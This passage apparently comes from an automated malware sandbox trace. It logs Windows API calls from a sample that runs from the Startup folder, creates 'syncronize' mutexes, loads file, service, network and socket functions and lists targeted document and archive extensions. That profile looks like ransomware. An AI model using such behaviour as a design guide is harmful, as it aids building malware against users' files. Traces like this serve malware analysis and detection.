lpProcName="ControlService") returned 0x75ed7144 [0120.177] GetProcAddress (hModule=0x75eb0000, lpProcName="QueryServiceStatus") returned 0x75ec2a86 [0120.177] GetProcAddress (hModule=0x75eb0000, lpProcName="EnumDependentServicesW") returned 0x75eb1e3a [0120.177] GetProcAddress (hModule=0x75eb0000, lpProcName="EnumServicesStatusExW") returned 0x75ebb466 [0120.177] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76fa0000 [0120.189] GetProcAddress (hModule=0x76fa0000, lpProcName="SystemParametersInfoW") returned 0x76fb90d3 [0120.189] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x762c0000 [0120.192] GetProcAddress (hModule=0x762c0000, lpProcName="ShellExecuteExW") returned 0x762e1e46 [0120.192] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x774c0000 [0120.192] GetProcAddress (hModule=0x774c0000, lpProcName="NtQuerySystemInformation") returned 0x774dfda0 [0120.192] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73a00000 [0120.194] GetProcAddress (hModule=0x73a00000, lpProcName="WNetCloseEnum") returned 0x73a02dd6 [0120.194] GetProcAddress (hModule=0x73a00000, lpProcName="WNetOpenEnumW") returned 0x73a02f06 [0120.194] GetProcAddress (hModule=0x73a00000, lpProcName="WNetEnumResourceW") returned 0x73a03058 [0120.194] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75290000 [0120.196] GetProcAddress (hModule=0x75290000, lpProcName="WSAStartup") returned 0x75293ab2 [0120.196] GetProcAddress (hModule=0x75290000, lpProcName="socket") returned 0x75293eb8 [0120.196] GetProcAddress (hModule=0x75290000, lpProcName="send") returned 0x75296f01 [0120.196] GetProcAddress (hModule=0x75290000, lpProcName="recv") returned 0x75296b0e [0120.196] GetProcAddress (hModule=0x75290000, lpProcName="connect") returned 0x75296bdd [0120.197] GetProcAddress (hModule=0x75290000, lpProcName="closesocket") returned 0x75293918 [0120.197] GetProcAddress (hModule=0x75290000, lpProcName="gethostbyname") returned 0x752a7673 [0120.197] GetProcAddress (hModule=0x75290000, lpProcName="inet_addr") returned 0x7529311b [0120.197] GetProcAddress (hModule=0x75290000, lpProcName="ntohl") returned 0x75292d57 [0120.197] GetProcAddress (hModule=0x75290000, lpProcName="htonl") returned 0x75292d57 [0120.197] GetProcAddress (hModule=0x75290000, lpProcName="htons") returned 0x75292d8b [0120.197] GetProcessHeap () returned 0x570000 [0120.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x584388 [0120.197] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=6233435529) returned 1 [0120.197] GetTickCount () returned 0x112f27a [0120.197] GetCurrentProcessId () returned 0x4e4 [0120.197] GetTickCount () returned 0x112f27a [0120.197] GetTickCount () returned 0x112f27a [0120.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5843b0 [0120.197] GetVersion () returned 0x1db10106 [0120.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7) returned 0x573970 [0120.198] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x580e90 [0120.198] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x580e90, Size=0x20) returned 0x584400 [0120.198] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584400, Size=0x40) returned 0x584970 [0120.198] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x584be8 [0120.198] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_O60I3LA") returned 0x84 [0120.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x573970 | out: hHeap=0x570000) returned 1 [0120.198] lstrlenW (lpString="Global\\syncronize_") returned 18 [0120.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584970 | out: hHeap=0x570000) returned 1 [0120.198] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7) returned 0x573970 [0120.198] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x580e90 [0120.198] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x580e90, Size=0x20) returned 0x584400 [0120.198] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584400, Size=0x40) returned 0x584970 [0120.198] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x594bf0 [0120.199] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_O60I3LU") returned 0x88 [0120.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x573970 | out: hHeap=0x570000) returned 1 [0120.199] lstrlenW (lpString="Global\\syncronize_") returned 18 [0120.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584970 | out: hHeap=0x570000) returned 1 [0120.199] GetVersion () returned 0x1db10106 [0120.199] GetCurrentProcess () returned 0xffffffff [0120.199] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0120.199] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0120.199] CloseHandle (hObject=0x8c) returned 1 [0120.199] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0120.199] ExitProcess (uExitCode=0x0) Process: id = "8" image_name = "dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" page_root = "0x7aab6000" os_pid = "0x4ec" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x138" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e909" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 42 os_tid = 0x4f0 [0118.949] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75080000 [0118.949] GetProcAddress (hModule=0x75080000, lpProcName="GetProcAddress") returned 0x75091222 [0118.949] GetProcAddress (hModule=0x75080000, lpProcName="GetModuleHandleW") returned 0x750934b0 [0118.949] GetProcAddress (hModule=0x75080000, lpProcName="FindNextFileW") returned 0x750954ee [0118.949] GetProcAddress (hModule=0x75080000, lpProcName="FindClose") returned 0x75094442 [0118.949] GetProcAddress (hModule=0x75080000, lpProcName="MoveFileW") returned 0x750a9af0 [0118.949] GetProcAddress (hModule=0x75080000, lpProcName="GetFileSizeEx") returned 0x750959e2 [0118.949] GetProcAddress (hModule=0x75080000, lpProcName="GetModuleFileNameW") returned 0x75094950 [0118.949] GetProcAddress (hModule=0x75080000, lpProcName="GetFileAttributesW") returned 0x75091b18 [0118.949] GetProcAddress (hModule=0x75080000, lpProcName="ExitProcess") returned 0x75097a10 [0118.949] GetProcAddress (hModule=0x75080000, lpProcName="GetCommandLineW") returned 0x75095223 [0118.949] GetProcAddress (hModule=0x75080000, lpProcName="GetComputerNameW") returned 0x7509dd0e [0118.949] GetProcAddress (hModule=0x75080000, lpProcName="GetComputerNameA") returned 0x750ab6e0 [0118.949] GetProcAddress (hModule=0x75080000, lpProcName="CreateMutexW") returned 0x7509424c [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="lstrlenW") returned 0x75091700 [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="lstrlenA") returned 0x75095a4b [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="GetCurrentProcess") returned 0x75091809 [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="WaitForSingleObject") returned 0x75091136 [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="GetLogicalDrives") returned 0x75095371 [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="GetTickCount") returned 0x7509110c [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="DeleteFileW") returned 0x750989b3 [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="WideCharToMultiByte") returned 0x7509170d [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75091916 [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="Sleep") returned 0x750910ff [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="LeaveCriticalSection") returned 0x774e2270 [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="ReadFile") returned 0x75093ed3 [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="CreateFileW") returned 0x75093f5c [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="OpenMutexW") returned 0x75095151 [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="EnterCriticalSection") returned 0x774e22b0 [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="WaitForMultipleObjects") returned 0x75094220 [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="lstrcmpiW") returned 0x750ad5cd [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="lstrcmpiA") returned 0x75093e8e [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="DeleteCriticalSection") returned 0x774f45f5 [0118.950] GetProcAddress (hModule=0x75080000, lpProcName="ReleaseMutex") returned 0x7509111e [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="CloseHandle") returned 0x75091410 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="GetVersion") returned 0x75094467 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="CreateThread") returned 0x750934d5 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="ExpandEnvironmentStringsW") returned 0x75094173 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="QueryPerformanceCounter") returned 0x75091725 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="QueryPerformanceFrequency") returned 0x750941f0 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="GetCurrentProcessId") returned 0x750911f8 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="SetFileAttributesW") returned 0x750ad4f7 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="GetVolumeInformationW") returned 0x750ac860 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="WriteFile") returned 0x75091282 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="SetFilePointerEx") returned 0x750ac807 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="SetEndOfFile") returned 0x750ace2e [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="FindFirstFileW") returned 0x75094435 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="GetProcessHeap") returned 0x750914e9 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="HeapReAlloc") returned 0x77501f6e [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="HeapAlloc") returned 0x774ee026 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="HeapFree") returned 0x750914c9 [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="CreatePipe") returned 0x7511415b [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="SetHandleInformation") returned 0x750a195c [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="CreateProcessW") returned 0x7509103d [0118.951] GetProcAddress (hModule=0x75080000, lpProcName="CompareStringW") returned 0x75093bca [0118.952] GetProcAddress (hModule=0x75080000, lpProcName="CompareStringA") returned 0x75093c5a [0118.952] GetProcAddress (hModule=0x75080000, lpProcName="OpenProcess") returned 0x75091986 [0118.952] GetProcAddress (hModule=0x75080000, lpProcName="TerminateProcess") returned 0x750ad802 [0118.952] GetProcAddress (hModule=0x75080000, lpProcName="GetSystemTime") returned 0x75095a96 [0118.952] GetProcAddress (hModule=0x75080000, lpProcName="SystemTimeToFileTime") returned 0x75095a7e [0118.952] GetProcAddress (hModule=0x75080000, lpProcName="GetLastError") returned 0x750911c0 [0118.952] GetProcAddress (hModule=0x75080000, lpProcName="CreateToolhelp32Snapshot") returned 0x750b735f [0118.952] GetProcAddress (hModule=0x75080000, lpProcName="Process32NextW") returned 0x750b896c [0118.952] GetProcAddress (hModule=0x75080000, lpProcName="Process32FirstW") returned 0x750b8baf [0118.952] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75eb0000 [0119.103] GetProcAddress (hModule=0x75eb0000, lpProcName="RegOpenKeyExW") returned 0x75ec468d [0119.104] GetProcAddress (hModule=0x75eb0000, lpProcName="RegQueryValueExW") returned 0x75ec46ad [0119.104] GetProcAddress (hModule=0x75eb0000, lpProcName="RegSetValueExW") returned 0x75ec14d6 [0119.104] GetProcAddress (hModule=0x75eb0000, lpProcName="RegCloseKey") returned 0x75ec469d [0119.104] GetProcAddress (hModule=0x75eb0000, lpProcName="OpenProcessToken") returned 0x75ec4304 [0119.104] GetProcAddress (hModule=0x75eb0000, lpProcName="GetTokenInformation") returned 0x75ec431c [0119.104] GetProcAddress (hModule=0x75eb0000, lpProcName="OpenSCManagerW") returned 0x75ebca64 [0119.104] GetProcAddress (hModule=0x75eb0000, lpProcName="OpenServiceW") returned 0x75ebca4c [0119.104] GetProcAddress (hModule=0x75eb0000, lpProcName="CloseServiceHandle") returned 0x75ec369c [0119.104] GetProcAddress (hModule=0x75eb0000, lpProcName="ControlService") returned 0x75ed7144 [0119.104] GetProcAddress (hModule=0x75eb0000, lpProcName="QueryServiceStatus") returned 0x75ec2a86 [0119.104] GetProcAddress (hModule=0x75eb0000, lpProcName="EnumDependentServicesW") returned 0x75eb1e3a [0119.104] GetProcAddress (hModule=0x75eb0000, lpProcName="EnumServicesStatusExW") returned 0x75ebb466 [0119.104] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76fa0000 [0119.256] GetProcAddress (hModule=0x76fa0000, lpProcName="SystemParametersInfoW") returned 0x76fb90d3 [0119.256] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x762c0000 [0119.332] GetProcAddress (hModule=0x762c0000, lpProcName="ShellExecuteExW") returned 0x762e1e46 [0119.341] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x774c0000 [0119.341] GetProcAddress (hModule=0x774c0000, lpProcName="NtQuerySystemInformation") returned 0x774dfda0 [0119.341] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73a00000 [0119.349] GetProcAddress (hModule=0x73a00000, lpProcName="WNetCloseEnum") returned 0x73a02dd6 [0119.349] GetProcAddress (hModule=0x73a00000, lpProcName="WNetOpenEnumW") returned 0x73a02f06 [0119.349] GetProcAddress (hModule=0x73a00000, lpProcName="WNetEnumResourceW") returned 0x73a03058 [0119.349] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75290000 [0119.378] GetProcAddress (hModule=0x75290000, lpProcName="WSAStartup") returned 0x75293ab2 [0119.378] GetProcAddress (hModule=0x75290000, lpProcName="socket") returned 0x75293eb8 [0119.378] GetProcAddress (hModule=0x75290000, lpProcName="send") returned 0x75296f01 [0119.378] GetProcAddress (hModule=0x75290000, lpProcName="recv") returned 0x75296b0e [0119.378] GetProcAddress (hModule=0x75290000, lpProcName="connect") returned 0x75296bdd [0119.378] GetProcAddress (hModule=0x75290000, lpProcName="closesocket") returned 0x75293918 [0119.378] GetProcAddress (hModule=0x75290000, lpProcName="gethostbyname") returned 0x752a7673 [0119.378] GetProcAddress (hModule=0x75290000, lpProcName="inet_addr") returned 0x7529311b [0119.378] GetProcAddress (hModule=0x75290000, lpProcName="ntohl") returned 0x75292d57 [0119.378] GetProcAddress (hModule=0x75290000, lpProcName="htonl") returned 0x75292d57 [0119.379] GetProcAddress (hModule=0x75290000, lpProcName="htons") returned 0x75292d8b [0119.379] GetProcessHeap () returned 0x880000 [0119.379] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x20) returned 0x8944e0 [0119.379] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=6151601765) returned 1 [0119.379] GetTickCount () returned 0x112ef4f [0119.379] GetCurrentProcessId () returned 0x4ec [0119.379] GetTickCount () returned 0x112ef4f [0119.379] GetTickCount () returned 0x112ef4f [0119.379] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x20) returned 0x894508 [0119.379] GetVersion () returned 0x1db10106 [0119.379] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x7) returned 0x883ac8 [0119.379] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x890fe8 [0119.379] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890fe8, Size=0x20) returned 0x894558 [0119.379] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894558, Size=0x40) returned 0x894e00 [0119.379] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x894e48 [0119.380] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_O60I3LA") returned 0x0 [0119.380] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_O60I3LA") returned 0x84 [0119.380] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x883ac8 | out: hHeap=0x880000) returned 1 [0119.380] lstrlenW (lpString="Global\\syncronize_") returned 18 [0119.380] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894e00 | out: hHeap=0x880000) returned 1 [0119.380] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x7) returned 0x883ac8 [0119.380] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x890fe8 [0119.380] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890fe8, Size=0x20) returned 0x894558 [0119.380] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894558, Size=0x40) returned 0x894e00 [0119.380] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8a4e50 [0119.380] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_O60I3LU") returned 0x0 [0119.380] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_O60I3LU") returned 0x88 [0119.380] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x883ac8 | out: hHeap=0x880000) returned 1 [0119.380] lstrlenW (lpString="Global\\syncronize_") returned 18 [0119.380] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894e00 | out: hHeap=0x880000) returned 1 [0119.381] GetVersion () returned 0x1db10106 [0119.381] GetCurrentProcess () returned 0xffffffff [0119.381] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0119.381] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0119.381] CloseHandle (hObject=0x8c) returned 1 [0119.381] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x883ac8 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x890fe8 [0119.381] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890fe8, Size=0x20) returned 0x894558 [0119.381] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894558, Size=0x40) returned 0x894e00 [0119.381] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894e00, Size=0x80) returned 0x894a40 [0119.381] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894a40, Size=0x100) returned 0x894a40 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x34) returned 0x894e00 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x890bd8 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x890be8 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x890bf8 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x890fe8 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894b48 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x891000 [0119.381] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894b48, Size=0x8) returned 0x894b48 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x891018 [0119.381] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894b48, Size=0x10) returned 0x894b48 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x891030 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x891048 [0119.381] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894b48, Size=0x20) returned 0x894b48 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x891060 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x891078 [0119.381] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890bd8, Size=0x8) returned 0x890bd8 [0119.381] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890be8, Size=0x8) returned 0x890be8 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894b70 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x891090 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894b80 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8910a8 [0119.381] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894b80, Size=0x8) returned 0x894b80 [0119.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4e70 [0119.382] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894b80, Size=0x10) returned 0x894b80 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4e88 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894b98 [0119.382] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894b80, Size=0x20) returned 0x894ba8 [0119.382] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890bd8, Size=0x10) returned 0x894b80 [0119.382] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890be8, Size=0x10) returned 0x894bd0 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x890bd8 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4ea0 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x890be8 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4eb8 [0119.382] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890be8, Size=0x8) returned 0x890be8 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894be8 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4ed0 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894bf8 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4ee8 [0119.382] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894bf8, Size=0x8) returned 0x894bf8 [0119.382] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894b80, Size=0x20) returned 0x894c08 [0119.382] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894bd0, Size=0x20) returned 0x894c30 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894bd0 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4f00 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894b80 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4f18 [0119.382] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894b80, Size=0x8) returned 0x894b80 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x894c58 [0119.382] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x894c78 [0119.382] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0119.382] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894a40 | out: hHeap=0x880000) returned 1 [0119.382] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f30 [0119.413] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f30, Size=0x20) returned 0x894760 [0119.413] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894760, Size=0x40) returned 0x894cf0 [0119.413] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894cf0, Size=0x80) returned 0x894a40 [0119.413] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894a40, Size=0x100) returned 0x894a40 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f30 [0119.413] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f30, Size=0x20) returned 0x894760 [0119.413] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894760, Size=0x40) returned 0x894cf0 [0119.413] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894cf0, Size=0x80) returned 0x8b5510 [0119.413] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5510, Size=0x100) returned 0x8b5510 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4f30 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894cf0 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f48 [0119.413] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894cf0, Size=0x8) returned 0x894cf0 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x894d00 [0119.413] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894cf0, Size=0x10) returned 0x894d20 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x18) returned 0x8b5618 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1a) returned 0x894760 [0119.413] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894d20, Size=0x20) returned 0x8b5638 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1c) returned 0x894788 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x16) returned 0x8b5660 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1a) returned 0x8947b0 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4f60 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894cf0 [0119.413] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40) returned 0x8b5680 [0119.414] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894cf0, Size=0x8) returned 0x894cf0 [0119.414] RtlAllocateHeap 